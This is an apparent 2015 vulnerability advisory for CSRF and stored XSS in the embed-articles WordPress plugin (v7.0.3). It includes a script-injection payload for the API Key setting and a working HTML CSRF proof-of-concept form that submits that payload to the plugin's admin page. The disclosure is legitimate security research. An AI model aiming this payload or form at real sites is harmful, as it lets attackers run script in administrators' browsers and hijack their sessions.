CSRF/XSS In Embed ArticlesWordpress Plugin

2015-05-1100:00:00

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CSRF/Stored XSS Vulnerability in embed articles Plugin

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Overview

Title :CSRF and Stored XSS Vulnerability in embed-articles Wordpress Plugin
Author: Kaustubh G. Padwad
Plugin Homepage: https://wordpress.org/plugins/embed-articles/
Severity: HIGH
Version Affected: Version 7.0.3 and mostly prior to it
Version Tested : Version 7.0.3
version patched:

Description

Vulnerable Parameter

API Key

About Vulnerability

This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, adminв??s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class

Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)

After installing the plugin

Goto settings -> Embed Articles
Insert this payload ## "> http://www.<script>alert(1)</script .com ## Into above mention Vulnerable parameter Save settings and see XSS in action
Visit embed-articles settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code

<html>
<body>
<form action="http://127.0.0.1/wp/wp-admin/admin.php?page=embedarticles&lock=no" method="POST">
<input type="hidden" name="embedarticles_hidden" value="Y" />
<input type="hidden" name="pub_value" value=""> "> http://www.<script>alert(1)</script .com" />
<input type="hidden" name="display" value="bottom" />
<input type="hidden" name="Submit" value="Update Options" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Mitigation

Plugin Closed

Change Log